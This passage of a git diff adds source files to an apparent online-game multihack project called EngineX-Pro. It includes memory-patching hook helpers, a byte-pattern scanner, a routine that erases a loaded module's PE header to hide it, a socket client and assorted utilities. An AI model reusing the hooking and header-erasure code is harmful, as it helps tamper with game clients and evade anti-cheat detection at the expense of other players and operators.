memcpy((LPVOID)&btBuf[1], (LPVOID)&dwShift, sizeof(ULONG_PTR)); + // ---- + return WriteMemory(dwEnterFunction, (LPVOID)btBuf, sizeof(btBuf)); + } + //--------------------------------------------------------------------------- + + static DWORD SetJg(const LPVOID dwEnterFunction, const LPVOID dwJMPAddress) + { + BYTE btBuf[6]; + DWORD dwShift = (ULONG_PTR)dwJMPAddress - (ULONG_PTR)dwEnterFunction - 6; + // ---- + btBuf[0] = 0x0F; + btBuf[1] = 0x8F; + memcpy((LPVOID)&btBuf[2], (LPVOID)&dwShift, sizeof(ULONG_PTR)); + // ---- + return WriteMemory(dwEnterFunction, (LPVOID)btBuf, sizeof(btBuf)); + } + //--------------------------------------------------------------------------- + + static DWORD SetJa(const LPVOID dwEnterFunction, const LPVOID dwJMPAddress) + { + BYTE btBuf[6]; + DWORD dwShift = (ULONG_PTR)dwJMPAddress - (ULONG_PTR)dwEnterFunction - 6; + // ---- + btBuf[0] = 0x0F; + btBuf[1] = 0x87; + memcpy((LPVOID)&btBuf[2], (LPVOID)&dwShift, sizeof(ULONG_PTR)); + // ---- + return WriteMemory(dwEnterFunction, (LPVOID)btBuf, sizeof(btBuf)); + } + //--------------------------------------------------------------------------- + + static DWORD SetOp(const LPVOID dwEnterFunction, const LPVOID dwJMPAddress, const BYTE cmd) + { + BYTE btBuf[5]; + DWORD dwShift = (ULONG_PTR)dwJMPAddress - (ULONG_PTR)dwEnterFunction - 5; + // ---- + btBuf[0] = cmd; + memcpy((LPVOID)&btBuf[1], (LPVOID)&dwShift, sizeof(ULONG_PTR)); + // ---- + return WriteMemory(dwEnterFunction, (LPVOID)btBuf, sizeof(btBuf)); + } + //--------------------------------------------------------------------------- + + static DWORD SetRange(const LPVOID dwAddress, const USHORT wCount, const BYTE btValue) + { + BYTE* lpBuf = new BYTE[wCount]; + // ---- + memset(lpBuf, btValue, wCount); + // ---- + return WriteMemory(dwAddress, (LPVOID)lpBuf, wCount); + } + //--------------------------------------------------------------------------- + + static DWORD SetHook(const LPVOID dwMyFuncOffset, const LPVOID dwJmpOffset, const BYTE cmd) + { + BYTE btBuf[5]; + // ---- + DWORD dwShift = (ULONG_PTR)dwMyFuncOffset - ((ULONG_PTR)dwJmpOffset + 5); + // ---- + btBuf[0] = cmd; + // ---- + memcpy((LPVOID)&btBuf[1], (LPVOID)&dwShift, sizeof(ULONG_PTR)); + // ---- + return WriteMemory(dwJmpOffset, (LPVOID)btBuf, sizeof(btBuf)); + } + //--------------------------------------------------------------------------- + + static void HookThis(DWORD dwMyFuncOffset, DWORD dwJmpOffset) + { + *(DWORD*)(dwJmpOffset + 1) = dwMyFuncOffset - (dwJmpOffset + 5); + } + + + static bool ErasePEHeader(HMODULE hModule) + { + if ((DWORD)hModule == 0) return 0; + DWORD IMAGE_NT_HEADER = *(int*)((DWORD)hModule + 60); + for (int i = 0; i < 0x108; i++) + *(BYTE*)(IMAGE_NT_HEADER + i) = 0; + for (int i = 0; i < 120; i++) + *(BYTE*)((DWORD)hModule + i) = 0; + return 1; + } +}; + diff --git a/EngineX-Pro/Misc.cpp b/EngineX-Pro/Misc.cpp new file mode 100644 index 0000000..1f1bf95 --- /dev/null +++ b/EngineX-Pro/Misc.cpp @@ -0,0 +1,75 @@ +#include "polyhook2/Misc.hpp" + +uint64_t PLH::findPattern(const uint64_t rangeStart, size_t len, const char* pattern) +{ + const size_t l = strlen(pattern); + + // l = 2 * b + (b - 1) . 2 chars per byte + b - 1 spaces between + const size_t patSize = (l + 1) / 3; + auto patt_base = (char*)_alloca(patSize + 1); + auto msk_base = (char*)_alloca(patSize + 1); + char* pat = patt_base; + char* msk = msk_base; + + if (patSize + 1 > len) + return NULL; + + size_t counter = patSize; + while (counter) { + if (*(uint8_t*)pattern == (uint8_t)'\?') { + *pat++ = 0; + *msk++ = '?'; + } else { + *pat++ = getByte(pattern); + *msk++ = 'x'; + } + pattern += 3; + counter--; + } + + *msk = 0; + for (size_t n = 0; n < (len - (patSize + 1)); ++n) + { + if (isMatch((char*)(rangeStart + n), patt_base, msk_base)) { + return rangeStart + n; + } + } + return NULL; +} + +uint64_t PLH::findPattern_rev(const uint64_t rangeStart, size_t len, const char* pattern) +{ + const size_t l = strlen(pattern); + + // c = 2 * b + (b - 1) . 2 chars per byte + b - 1 spaces between + const size_t patSize = (l + 1) / 3; + auto patt_base = (char*)_alloca(patSize + 1); + auto msk_base = (char*)_alloca(patSize + 1); + char* pat = patt_base; + char* msk = msk_base; + + if (patSize + 1 > len) + return NULL; + + size_t counter = patSize; + while (counter) { + if (*(uint8_t*)pattern == (uint8_t)'\?') { + *pat++ = 0; + *msk++ = '?'; + } else { + *pat++ = getByte(pattern); + *msk++ = 'x'; + } + pattern += 3; + counter--; + } + + *msk = 0; + for (size_t n = len - (patSize + 1); n > 0; n--) + { + if (isMatch((char*)(rangeStart + n), patt_base, msk_base)) { + return rangeStart + n; + } + } + return NULL; +} \ No newline at end of file diff --git a/EngineX-Pro/MiscExtension.h b/EngineX-Pro/MiscExtension.h new file mode 100644 index 0000000..f183d8f --- /dev/null +++ b/EngineX-Pro/MiscExtension.h @@ -0,0 +1,397 @@ +#pragma once +class MiscExtension +{ + + + + //uint32_t Misc::CRC32(const std::string &fp) + //{ + // boost::crc_32_type crc; + // std::vector buffer(4096); + // std::ifstream stream(fp, std::ios::in | std::ios::binary); + // if (!stream) throw std::ifstream::failure("Could not open file for CRC calculation: " + fp); + // do { + // stream.read(&buffer[0], buffer.size()); + // size_t BYTE_cnt = static_cast(stream.gcount()); + // crc.process_bytes(&buffer[0], BYTE_cnt); + // } while (stream); + // return crc.checksum(); + //} +public: + static BOOL ShowBalloon(HWND hWnd, const char* title, const char* text, HICON hIcon) + { + BOOL bRes = FALSE; + if (hWnd != NULL) + { + NOTIFYICONDATA nfidata = { sizeof(NOTIFYICONDATA) }; + nfidata.cbSize = sizeof(nfidata); + nfidata.hWnd = hWnd; + nfidata.hIcon = (HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDB_PNG4), IMAGE_ICON, GetSystemMetrics(SM_CXSMICON), GetSystemMetrics(SM_CYSMICON), LR_DEFAULTCOLOR); + nfidata.uFlags = NIF_ICON | NIF_INFO | NIF_TIP; + if (hIcon) + { + nfidata.hBalloonIcon = hIcon; + } + nfidata.uVersion = NOTIFYICON_VERSION_4; + nfidata.dwInfoFlags = NIIF_USER | NIIF_LARGE_ICON; + nfidata.hBalloonIcon = LoadIcon(GetModuleHandle(NULL), MAKEINTRESOURCE(IDB_PNG4)); + nfidata.uTimeout = 500; + //nfidata.hBalloonIcon = LoadIcon(NULL, MAKEINTRESOURCE(IDB_PNG1));; + /*nfidata.dwInfoFlags = NIIF_INFO;*/ + StringCchCopy(nfidata.szInfo, ARRAYSIZE(nfidata.szInfo), text); + StringCchCopy(nfidata.szInfoTitle, ARRAYSIZE(nfidata.szInfoTitle), title); + bRes = Shell_NotifyIcon(NIM_ADD, &nfidata); + + } + return bRes; + } + //string GetActiveWindowTitle() + //{ + // char wnd_title[256]; + // HWND hwnd = GetForegroundWindow(); // get handle of currently active window + // GetWindowText(hwnd, wnd_title, sizeof(wnd_title)); + // return wnd_title; + //} + + static void OpenWebiste(string site) + { + /*ShellExecute(0, 0, site.c_str(), 0, 0, SW_SHOW);*/ + system(("start "+ site).c_str()); + } + + static void PlayAlerSound() + { + PlaySound("SystemAsterisk", NULL, SND_SYNC); + } + + + static BOOL UpdateBalloon(HWND hWnd, const char* title, const char* text, HICON hIcon) + { + BOOL bRes = FALSE; + if (hWnd != NULL) + { + NOTIFYICONDATA nfidata = { sizeof(NOTIFYICONDATA) }; + nfidata.cbSize = sizeof(nfidata); + nfidata.hWnd = hWnd; + + nfidata.uFlags = NIF_ICON | NIF_INFO | NIF_TIP; + if (hIcon) + { + nfidata.hBalloonIcon = hIcon; + nfidata.dwInfoFlags = NIIF_USER | NIIF_LARGE_ICON; + } + nfidata.uVersion = NOTIFYICON_VERSION_4; + //nfidata.hBalloonIcon = LoadIcon(NULL, MAKEINTRESOURCE(IDB_PNG1)); + nfidata.uTimeout = 500; + //nfidata.hBalloonIcon = LoadIcon(NULL, MAKEINTRESOURCE(IDB_PNG1));; + nfidata.dwInfoFlags = NIIF_INFO; + StringCchCopy(nfidata.szInfo, ARRAYSIZE(nfidata.szInfo), text); + StringCchCopy(nfidata.szInfoTitle, ARRAYSIZE(nfidata.szInfoTitle), title); + bRes = Shell_NotifyIcon(NIM_MODIFY, &nfidata); + + } + return bRes; + } + static HWND FindTopWindow(DWORD pid) + { + std::pair params = { 0, pid }; + + // Enumerate the windows using a lambda to process each window + BOOL bResult = EnumWindows([](HWND hwnd, LPARAM lParam) -> BOOL + { + auto pParams = (std::pair*)(lParam); + + DWORD processId; + if (GetWindowThreadProcessId(hwnd, &processId) && processId == pParams->second) + { + // Stop enumerating + SetLastError(-1); + pParams->first = hwnd; + return FALSE; + } + + // Continue enumerating + return TRUE; + }, (LPARAM)¶ms); + + if (!bResult && GetLastError() == -1 && params.first) + { + return params.first; + } + + return 0; + } + + static std::string RandomString(size_t length) + { + auto randchar = []() -> char + { + const char charset[] = + "0123456789" + "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + "abcdefghijklmnopqrstuvwxyz"; + const size_t max_index = (sizeof(charset) - 1); + return charset[rand() % max_index]; + }; + std::string str(length, 0); + std::generate_n(str.begin(), length, randchar); + return str; + } + static int RandomInt(int min, int max) + { + static bool first = true; + if (first) + { + srand(time(NULL)); + first = false; + } + return min + rand() % ((max + 1) - min); + } + + + static float RandomFloat(float min, float max) + { + float random = ((float)rand()) / (float)RAND_MAX; + + float range = max - min; + return (random * range) + min; + } + + + struct EnumWindowsCallbackArgs + { + EnumWindowsCallbackArgs(DWORD p) : pid(p) { } + const DWORD pid; + std::vector handles; + }; + + static BOOL CALLBACK EnumWindowsCallback(HWND hnd, LPARAM lParam) + { + EnumWindowsCallbackArgs* args = (EnumWindowsCallbackArgs*)lParam; + + DWORD windowPID; + (void)::GetWindowThreadProcessId(hnd, &windowPID); + if (windowPID == args->pid) { + args->handles.push_back(hnd); + } + + return TRUE; + } + static std::vector GetToplevelWindows() + { + EnumWindowsCallbackArgs args(::GetCurrentProcessId()); + if (::EnumWindows(&EnumWindowsCallback, (LPARAM)&args) == FALSE) { + // XXX Log error here + return std::vector(); + } + return args.handles; + } + + static string CurrentDateTime() + { + time_t now = time(0); + struct tm tstruct; + char buf[80]; + tstruct = *localtime(&now); + + strftime(buf, sizeof(buf), "%Y-%m-%d.%X", &tstruct); + + return buf; + } + static string CurrentDateTimeShort() + { + time_t now = time(0); + struct tm tstruct; + char buf[80]; + tstruct = *localtime(&now); + + strftime(buf, sizeof(buf), "%X", &tstruct); + + return buf; + } + + + + static SYSTEMTIME GetServerTime() + { + + // Clear output buffer + SYSTEMTIME sysTime; + SecureZeroMemory(&sysTime, sizeof(SYSTEMTIME)); + + // Open connection + HINTERNET hInternetSession = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); + if (!hInternetSession) + return sysTime; + + HINTERNET hInternetFile = InternetOpenUrl(hInternetSession, + "http://google.pl", 0, 0, /////L"http://time.windows.com", 0, 0, + INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_NO_CACHE_WRITE, 0); + + + if (!hInternetFile) + { + InternetCloseHandle(hInternetSession); + return sysTime; + } + + // Query date time in format systemtime + DWORD dwSize = sizeof(SYSTEMTIME); + if (!HttpQueryInfo(hInternetFile, HTTP_QUERY_DATE | + HTTP_QUERY_FLAG_SYSTEMTIME, &sysTime, &dwSize, NULL)) + { + InternetCloseHandle(hInternetSession); + InternetCloseHandle(hInternetFile); + return sysTime; + } + + // Clean up ... + InternetCloseHandle(hInternetFile); + InternetCloseHandle(hInternetSession); + return sysTime; + } + + + + static int CountDistanceTwoPoints(D3DVECTOR startPoint, D3DVECTOR endPoint) + { + // Calculating distance + return sqrt(pow(endPoint.x - startPoint.x, 2) + + pow(endPoint.y - startPoint.y, 2) * 1.0); + } + static int CountDistanceTwoPoints(int x1, int y1, int x2, int y2) + { + // Calculating distance + return sqrt(pow(x2 - x1, 2) + + pow(y2 - y1, 2) * 1.0); + } + + static float AngleBetweenTwoPoints(float x1, float y1, float x2, float y2) + { + + + + //static const double TWOPI = 6.2831853071795865; + //static const double RAD2DEG = 57.2957795130823209; + //// if (a1 = b1 and a2 = b2) throw an error + //double theta = atan2(x2 - x1, y2 - y2); + //if (theta < 0.0) + // theta += TWOPI; + //return RAD2DEG * theta; + + + + /*float dot = x1 * x2 + y1 * y2; + float det = x1 * y2 - y1 * x2; + float angle = atan2(det, dot);*/ + + + + /*float a = x1 * x2 + y1 * y2; + float b = std::sqrt(x1 * x1 + y1 * y1); + float c = std::sqrt(x2 * x2 + y2 * y2); + float angle = std::acos(a / (b * c));*/ + + + float angle = (float)atan2(y2 - y1, x2 - x1) * (float)(180 / 3.14159265358979323846); + /*if (angle < 0) + { + angle += 360; + }*/ + + + return angle; + } + static D3DVECTOR GetPercentPointBetweenTwoPoints(double x1, double y1, double x2,double y2, double percent) + { + double m = percent; + double n = 100 - percent; + // Applying section formula + double x = ((n * x1) + (m * x2)) / + (m + n); + double y = ((n * y1) + (m * y2)) / + (m + n); + return D3DVECTOR{ (float)x,(float)y,0 }; + + } + static D3DVECTOR GetPercentPointBetweenTwoPoints(D3DVECTOR pointStart, D3DVECTOR pointEnd, double percent) + { + double m = percent; + double n = 100 - percent; + // Applying section formula + double x = ((n * pointStart.x) + (m * pointEnd.x)) / + (m + n); + double y = ((n * pointStart.y) + (m * pointEnd.y)) / + (m + n); + double z = ((n * pointStart.z) + (m * pointEnd.z)) / + (m + n); + return D3DVECTOR{ (float)x,(float)y,(float)z }; + + } + static vector DivideTwoPointsByDistance(DWORD distance, D3DVECTOR pointStart , D3DVECTOR pointEnd) + { + vector points; + int distanceTwoPoints = CountDistanceTwoPoints(pointStart.x, pointStart.y, pointEnd.x, pointEnd.y); + if (distanceTwoPoints <= distance) + { + points.push_back(pointEnd); + return points; + } + else + { + int steps = distanceTwoPoints / distance; + double singleStepPercent = (distance * 100) / distanceTwoPoints; + for (int i = 1; i < steps + 1; i++) + { + points.push_back(GetPercentPointBetweenTwoPoints(pointStart, pointEnd, i * singleStepPercent)); + } + if (steps * distance == distanceTwoPoints) + { + + } + else + { + points.push_back(pointEnd); + } + + + } + + return points; + + } + + //static string randomMac() + //{ + // char letterAssign(int x) + // { + // char l; + // if (x == 10) l = 'A'; + // if (x == 11) l = 'B'; + // if (x == 12) l = 'C'; + // if (x == 13) l = 'D'; + // if (x == 14) l = 'E'; + // if (x == 15) l = 'F'; + + // return l; + // } + // std::string mac; + // for (int i = 0; i < 12; i++) + // { + // if (i > 0 ? (i) % 2 == 0 : 0) mac += "::"; + + // int x = rand() % 16; + // if (x > 9) + // { + // char letter = letterAssign(x); + // mac += letter; + // } + // else + // { + // mac += std::to_string(x); + // } + // } + // return mac; + //} +}; + diff --git a/EngineX-Pro/MultiHackImgui.rc b/EngineX-Pro/MultiHackImgui.rc new file mode 100644 index 0000000..bd8e33d --- /dev/null +++ b/EngineX-Pro/MultiHackImgui.rc @@ -0,0 +1,170 @@ +// Microsoft Visual C++ generated resource script. +// +#pragma code_page(65001) + +#include "resource.h" + +#define APSTUDIO_READONLY_SYMBOLS +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 2 resource. +// +#include "winres.h" + +///////////////////////////////////////////////////////////////////////////// +#undef APSTUDIO_READONLY_SYMBOLS + +///////////////////////////////////////////////////////////////////////////// +// Polski (Polska) resources + +#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_PLK) +LANGUAGE LANG_POLISH, SUBLANG_DEFAULT + +#ifdef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// TEXTINCLUDE +// + +1 TEXTINCLUDE +BEGIN + "resource.h\0" +END + +2 TEXTINCLUDE +BEGIN + "#include ""winres.h""\r\n" + "\0" +END + +3 TEXTINCLUDE +BEGIN + "\r\n" + "\0" +END + +#endif // APSTUDIO_INVOKED + + +///////////////////////////////////////////////////////////////////////////// +// +// PNG +// + +IDB_PNG1 RCDATA "Resources\\logo.png" + +IDB_PNG2 RCDATA "Resources\\background2.png" + +IDB_PNG3 RCDATA "Resources\\window_on.png" +IDB_PNG4 RCDATA "Resources\\window_off.png" +IDB_PNG5 RCDATA "Resources\\radar_on.png" +IDB_PNG6 RCDATA "Resources\\radar_off.png" +IDB_PNG7 RCDATA "Resources\\autologin_on.png" +IDB_PNG8 RCDATA "Resources\\autologin_off.png" +IDB_PNG9 RCDATA "Resources\\fishbot_on.png" +IDB_PNG10 RCDATA "Resources\\fishbot_off.png" +IDB_PNG11 RCDATA "Resources\\mh_on.png" +IDB_PNG12 RCDATA "Resources\\mh_off.png" +IDB_PNG13 RCDATA "Resources\\exit.png" +IDB_PNG14 RCDATA "Resources\\channel.png" + + +IDB_PNG15 RCDATA "Resources\\log_on.png" +IDB_PNG16 RCDATA "Resources\\log_off.png" +IDB_SPLASH RCDATA "Resources\\splash.png" +IDB_POTION_OFF RCDATA "Resources\\Autopoty_OFF.png" +IDB_POTION_ON RCDATA "Resources\\Autopoty_ON.png" + + +IDB_MainTab RCDATA "Resources\\Main.png" +IDB_FishbotTab RCDATA "Resources\\Fishbot.png" +IDB_AdditionalTab RCDATA "Resources\\Additional.png" +IDB_VisualsTab RCDATA "Resources\\Visuals.png" +IDB_ProtectionTab RCDATA "Resources\\Protection.png" +IDB_SettingsTab RCDATA "Resources\\Settings.png" +IDB_DeveloperTab RCDATA "Resources\\Developer.png" + + + +NINJA_A_0 RCDATA "Resources\\Skill\\ninja_a_0.png" +NINJA_A_1 RCDATA "Resources\\Skill\\ninja_a_1.png" +NINJA_A_2 RCDATA "Resources\\Skill\\ninja_a_2.png" +NINJA_A_3 RCDATA "Resources\\Skill\\ninja_a_3.png" +NINJA_A_4 RCDATA "Resources\\Skill\\ninja_a_4.png" +NINJA_A_5 RCDATA "Resources\\Skill\\ninja_a_5.png" + +NINJA_D_0 RCDATA "Resources\\Skill\\ninja_d_0.png" +NINJA_D_1 RCDATA "Resources\\Skill\\ninja_d_1.png" +NINJA_D_2 RCDATA "Resources\\Skill\\ninja_d_2.png" +NINJA_D_3 RCDATA "Resources\\Skill\\ninja_d_3.png" +NINJA_D_4 RCDATA "Resources\\Skill\\ninja_d_4.png" +NINJA_D_5 RCDATA "Resources\\Skill\\ninja_d_5.png" + +SHAMAN_D_0 RCDATA "Resources\\Skill\\shaman_d_0.png" +SHAMAN_D_1 RCDATA "Resources\\Skill\\shaman_d_1.png" +SHAMAN_D_2 RCDATA "Resources\\Skill\\shaman_d_2.png" +SHAMAN_D_3 RCDATA "Resources\\Skill\\shaman_d_3.png" +SHAMAN_D_4 RCDATA "Resources\\Skill\\shaman_d_4.png" +SHAMAN_D_5 RCDATA "Resources\\Skill\\shaman_d_5.png" + + +SHAMAN_H_0 RCDATA "Resources\\Skill\\shaman_h_0.png" +SHAMAN_H_1 RCDATA "Resources\\Skill\\shaman_h_1.png" +SHAMAN_H_2 RCDATA "Resources\\Skill\\shaman_h_2.png" +SHAMAN_H_3 RCDATA "Resources\\Skill\\shaman_h_3.png" +SHAMAN_H_4 RCDATA "Resources\\Skill\\shaman_h_4.png" +SHAMAN_H_5 RCDATA "Resources\\Skill\\shaman_h_5.png" + + + +SURA_B_0 RCDATA "Resources\\Skill\\sura_b_0.png" +SURA_B_1 RCDATA "Resources\\Skill\\sura_b_1.png" +SURA_B_2 RCDATA "Resources\\Skill\\sura_b_2.png" +SURA_B_3 RCDATA "Resources\\Skill\\sura_b_3.png" +SURA_B_4 RCDATA "Resources\\Skill\\sura_b_4.png" +SURA_B_5 RCDATA "Resources\\Skill\\sura_b_5.png" + + +SURA_W_0 RCDATA "Resources\\Skill\\sura_w_0.png" +SURA_W_1 RCDATA "Resources\\Skill\\sura_w_1.png" +SURA_W_2 RCDATA "Resources\\Skill\\sura_w_2.png" +SURA_W_3 RCDATA "Resources\\Skill\\sura_w_3.png" +SURA_W_4 RCDATA "Resources\\Skill\\sura_w_4.png" +SURA_W_5 RCDATA "Resources\\Skill\\sura_w_5.png" + + +WARRIOR_B_0 RCDATA "Resources\\Skill\\warrior_b_0.png" +WARRIOR_B_1 RCDATA "Resources\\Skill\\warrior_b_1.png" +WARRIOR_B_2 RCDATA "Resources\\Skill\\warrior_b_2.png" +WARRIOR_B_3 RCDATA "Resources\\Skill\\warrior_b_3.png" +WARRIOR_B_4 RCDATA "Resources\\Skill\\warrior_b_4.png" +WARRIOR_B_5 RCDATA "Resources\\Skill\\warrior_b_5.png" + + + + +WARRIOR_M_0 RCDATA "Resources\\Skill\\warrior_m_0.png" +WARRIOR_M_1 RCDATA "Resources\\Skill\\warrior_m_1.png" +WARRIOR_M_2 RCDATA "Resources\\Skill\\warrior_m_2.png" +WARRIOR_M_3 RCDATA "Resources\\Skill\\warrior_m_3.png" +WARRIOR_M_4 RCDATA "Resources\\Skill\\warrior_m_4.png" +WARRIOR_M_5 RCDATA "Resources\\Skill\\warrior_m_5.png" + +SKILL_NONE RCDATA "Resources\\Skill\\skill-none.png" +SKILL_ON RCDATA "Resources\\Skill\\skill-on.png" +SKILL_OFF RCDATA "Resources\\Skill\\skill-off.png" +#endif // Polski (Polska) resources +///////////////////////////////////////////////////////////////////////////// + + + +#ifndef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 3 resource. +// + + +///////////////////////////////////////////////////////////////////////////// +#endif // not APSTUDIO_INVOKED + diff --git a/EngineX-Pro/Network.cpp b/EngineX-Pro/Network.cpp new file mode 100644 index 0000000..c359914 --- /dev/null +++ b/EngineX-Pro/Network.cpp @@ -0,0 +1,534 @@ +#include "stdafx.h" +#include "Network.h" + +time_t Network::m_connectLimitTime; + +char* Network::m_recvBuf; +int Network::m_recvBufSize; +int Network::m_recvBufInputPos; +int Network::m_recvBufOutputPos; + +char* Network::m_sendBuf; +int Network::m_sendBufSize; +int Network::m_sendBufInputPos; +int Network::m_sendBufOutputPos; + +bool Network::m_isOnline; +SOCKET Network::m_sock ; + +SOCKADDR_IN Network::m_sockAddrIn; + +bool Network::GetHostName(char* szName, int size) +{ + if (gethostname(szName, size) == SOCKET_ERROR) + return false; + return true; +} + +bool Network::IsIP(const char* c_szAddr) +{ + if (c_szAddr[0] < '0' || c_szAddr[0]>'9') + return false; + return true; +} + +bool Network::SetConnection(const char* c_szAddr, int port) +{ + memset(&m_sockAddrIn, 0, sizeof(m_sockAddrIn)); + m_sockAddrIn.sin_family = AF_INET; + if (IsIP(c_szAddr)) + { + SetIP(c_szAddr); + } + else + { + if (!SetDNS(c_szAddr)) + return false; + } + + SetPort(port); + return true; +} + +void Network::SetLocalIP() +{ + SetIP(INADDR_ANY); +} + +void Network::SetIP(DWORD ip) +{ + m_sockAddrIn.sin_addr.s_addr = htonl(ip); +} + +void Network::SetIP(const char* c_szIP) +{ + m_sockAddrIn.sin_addr.s_addr = inet_addr(c_szIP); +} + +bool Network::SetDNS(const char* c_szDNS) +{ + HOSTENT* pHostent = gethostbyname(c_szDNS); + if (!pHostent) return false; + memcpy(&m_sockAddrIn.sin_addr, pHostent->h_addr, sizeof(m_sockAddrIn.sin_addr)); + return true; +} + +void Network::SetPort(int port) +{ + m_sockAddrIn.sin_port = htons(port); +} + +int Network::GetSize() +{ + return sizeof(m_sockAddrIn); +} + +DWORD Network::GetIP() +{ + return ntohl(m_sockAddrIn.sin_addr.s_addr); +} + +void Network::GetIP(char* szIP, int len) +{ + BYTE IPs[4]; + *((DWORD*)IPs) = m_sockAddrIn.sin_addr.s_addr; + + _snprintf(szIP, len, "%d.%d.%d.%d", IPs[0], IPs[1], IPs[2], IPs[3]); +} + +int Network::GetPort() +{ + return ntohs(m_sockAddrIn.sin_port); +} +void Network::SetRecvBufferSize(int recvBufSize) +{ + if (m_recvBuf) + { + if (m_recvBufSize>recvBufSize) + return; + + delete [] m_recvBuf; + + + } + m_recvBufSize = recvBufSize; + m_recvBuf = new char[m_recvBufSize]; + +} + +void Network::SetSendBufferSize(int sendBufSize) +{ + if (m_sendBuf) + { + if (m_sendBufSize > sendBufSize) + return; + + delete [] m_sendBuf; + + + } + + m_sendBufSize = sendBufSize; + m_sendBuf = new char[m_sendBufSize]; + +} + +bool Network::RecvInternalBuffer() +{ + if (m_recvBufOutputPos>0) + { + int recvBufDataSize = m_recvBufInputPos - m_recvBufOutputPos; + if (recvBufDataSize>0) + { + memmove(m_recvBuf, m_recvBuf + m_recvBufOutputPos, recvBufDataSize); + } + + m_recvBufInputPos -= m_recvBufOutputPos; + m_recvBufOutputPos = 0; + } + int restSize = m_recvBufSize - m_recvBufInputPos; + if (restSize>0) + { + int recvSize = recv(m_sock, m_recvBuf + m_recvBufInputPos, m_recvBufSize - m_recvBufInputPos, 0); + + + if (recvSize < 0) + { + int error = WSAGetLastError(); + + if (error != WSAEWOULDBLOCK) + { + return false; + } + } + else if (recvSize == 0) + { + return false; + } + + m_recvBufInputPos += recvSize; + } + return true; +} + + +bool Network::SendInternalBuffer() +{ + int dataSize=GetSendBufferSize(); + if (dataSize<=0) + return true; + + int sendSize = send(m_sock, m_sendBuf+m_sendBufOutputPos, dataSize, 0); + if (sendSize < 0) + return false; + + m_sendBufOutputPos+=sendSize; + + PopSendBuffer(); + + return true; +} + +void Network::PopSendBuffer() +{ + if (m_sendBufOutputPos<=0) + return; + + int sendBufDataSize = m_sendBufInputPos - m_sendBufOutputPos; + + if (sendBufDataSize>0) + { + memmove(m_sendBuf, m_sendBuf+m_sendBufOutputPos, sendBufDataSize); + } + + m_sendBufInputPos = sendBufDataSize; + m_sendBufOutputPos = 0; +} + +#pragma warning(push) +#pragma warning(disable:4127) +void Network::Process() +{ + if (m_sock == INVALID_SOCKET) + { + return; + } + + + fd_set fdsRecv; + fd_set fdsSend; + + FD_ZERO(&fdsRecv); + FD_ZERO(&fdsSend); + + FD_SET(m_sock, &fdsRecv); + FD_SET(m_sock, &fdsSend); + + TIMEVAL delay; + + delay.tv_sec = 0; + delay.tv_usec = 0; + + if (select(0, &fdsRecv, &fdsSend, NULL, &delay) == SOCKET_ERROR) + { + return; + } + + + if (!m_isOnline) + { + if (FD_ISSET(m_sock, &fdsSend)) + { + m_isOnline = true; + OnConnectSuccess(); + } + else if (time(NULL) > m_connectLimitTime) + { + Clear(); + OnConnectFailure(); + } + + return; + } + + if (FD_ISSET(m_sock, &fdsSend) && (m_sendBufInputPos > m_sendBufOutputPos)) + { + if (!SendInternalBuffer()) + { + int error = WSAGetLastError(); + + if (error != WSAEWOULDBLOCK) + { + + OnRemoteDisconnect(); + Clear(); + return; + } + } + } + + if (FD_ISSET(m_sock, &fdsRecv)) + { + if (!RecvInternalBuffer()) + { + + OnRemoteDisconnect(); + Clear(); + return; + } + } + + if (!OnProcess()) + { + OnRemoteDisconnect(); + Clear(); + } +} +#pragma warning(pop) + +void Network::Disconnect() +{ + if (m_sock == INVALID_SOCKET) + { + return; + } + + + OnDisconnect(); + + Clear(); +} +bool Network::Initialize() +{ + + m_sock = NULL; + m_isOnline = false; + m_connectLimitTime = 0; + + + + m_recvBuf = NULL; + m_recvBufSize = 0; + m_recvBufOutputPos = 0; + m_recvBufInputPos = 0; + + + m_sendBuf = NULL; + m_sendBufSize = 0; + m_sendBufOutputPos = 0; + m_sendBufInputPos = 0; + + WSADATA wsaData; + if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) + { + return false; + } + + return true; +} +void Network::Clear() +{ + + if (m_sock) + { + closesocket(m_sock); + } + + m_sock = NULL; + m_isOnline = false; + m_connectLimitTime = 0; + + + + m_recvBufInputPos = 0; + m_recvBufOutputPos = 0; + + m_sendBufInputPos = 0; + m_sendBufOutputPos = 0; + +} + +bool Network::Connect(const char* c_szAddr, int port, int limitSec) +{ + if (m_sock) + { + OnRemoteDisconnect(); + } + Clear(); + SetConnection(c_szAddr, port); + m_sock = socket(AF_INET, SOCK_STREAM, 0); + + if (m_sock == INVALID_SOCKET) + { + Clear(); + OnConnectFailure(); + return false; + } + + DWORD arg = 1; + ioctlsocket(m_sock, FIONBIO, &arg); + + if (connect(m_sock, (struct sockaddr*) & m_sockAddrIn, sizeof(sockaddr)) == SOCKET_ERROR) + { + int error = WSAGetLastError(); + + if (error != WSAEWOULDBLOCK) + { + + Clear(); + OnConnectFailure(); + return false; + } + } + + m_connectLimitTime = time(NULL) + limitSec; + return true; +} + + + + +void Network::ClearRecvBuffer() +{ + m_recvBufOutputPos = m_recvBufInputPos = 0; +} + +int Network::GetRecvBufferSize() +{ + return m_recvBufInputPos - m_recvBufOutputPos; +} + +bool Network::Peek(int size) +{ + if (GetRecvBufferSize() < size) + return false; + + return true; +} + +bool Network::Peek(int size, char * pDestBuf) +{ + if (GetRecvBufferSize() < size) + return false; + + memcpy(pDestBuf, m_recvBuf + m_recvBufOutputPos, size); + return true; +} + + + + +bool Network::Recv(int size) +{ + if (!Peek(size)) + return false; + + m_recvBufOutputPos += size; + return true; +} + + +bool Network::Recv(int size, char * pDestBuf) +{ + if (!Peek(size, pDestBuf)) + return false; + + m_recvBufOutputPos += size; + return true; +} + +int Network::GetSendBufferSize() +{ + return m_sendBufInputPos-m_sendBufOutputPos; +} + + +bool Network::Send(int size, const char* pSrcBuf) +{ + int sendBufRestSize = m_sendBufSize - m_sendBufInputPos; + if ((size + 1) > sendBufRestSize) + { + return false; + } + + + memcpy(m_sendBuf + m_sendBufInputPos, pSrcBuf, size); + m_sendBufInputPos += size; + + return true; +} + +bool 